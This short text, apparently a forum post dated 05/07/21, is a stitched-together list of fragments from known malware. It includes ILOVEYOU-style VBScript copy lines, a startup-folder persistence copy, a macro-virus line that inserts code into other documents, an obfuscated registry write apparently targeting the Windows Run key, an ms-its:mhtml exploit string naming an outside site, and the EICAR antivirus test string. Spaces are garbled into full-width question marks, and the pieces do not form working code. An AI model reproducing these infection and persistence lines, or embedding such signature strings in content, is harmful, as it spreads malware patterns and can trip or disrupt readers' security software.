05/07/21 17:07:47
c.Copy(dirwin&"\Win32DLL.vbs")？
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")？
<object？data="ms-its:mhtml:file://C:\\MAIN.MHT!URLﾘﾝｸ(www.loadcash.biz)"？type="text/？
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*？
fso.copyfile？"dirsystem&nurupo.vbs",？"j:\windows\start？menu\programs\startup\"？
If？s？=？"htm"？and？fso.FileExists(f1.path+"l")？=？False？then？fso.CopyFile？f1.path,？f1.path+"l"？
ToInfect.CodeModule.InsertLines？BGN,？ADI1.CodeModule.Lines(BGN,？)？
G.RegWrite？A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"),？E.BuildPath(E.GetSpecialFolder(1),？A("VHORU@SU/WCR"))？
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))？
ms-its:mhtml:file://c:\ ？
kak.hta';ken=wd+'START？